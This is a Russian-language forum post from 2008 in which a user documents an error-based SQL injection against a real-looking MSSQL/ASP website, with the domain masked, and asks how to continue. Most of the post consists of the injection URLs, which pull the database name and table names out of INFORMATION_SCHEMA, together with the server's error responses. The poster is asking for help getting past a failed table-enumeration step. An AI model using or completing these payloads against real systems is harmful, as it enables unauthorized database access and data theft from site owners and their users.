Показать сообщение отдельно

  #4  
Старый 09.03.2008, 01:02
LAEOT
Новичок
Регистрация: 06.01.2008
Сообщений: 15
Провел на форуме:
29345

Репутация: 35
По умолчанию

У меня такой вопрос:
База даных : Mssql.
Я пробывать зделать по этой стате :
http://forum.antichat.ru/thread30501-mssql.html

Первый этап прошол:
www.*****.com/?id=1'

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'application'.

/index.asp, line 89

второй :
www.*****.com/?id=1'%20or%201=(select%20db_name())--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'player' to a column of data type int.

/index.asp, line 89

третий:
www.****.com/?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES)--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'points' to a column of data type int.

/index.asp, line 89

четвёртый:
www.*****.com/?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMAT ION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('points '))--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'points' to a column of data type int.

/index.asp, line 89

Пятый:

И тут я застрял,надо:
id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATIO N_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1', 'table2',........,'table50'))--

Что то у меня не получилось и я получил:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'table1'.

/index.asp, line 89

Что мне дальше делать,или где моя ошибка?

Огромное спасибо!
 
Ответить с цитированием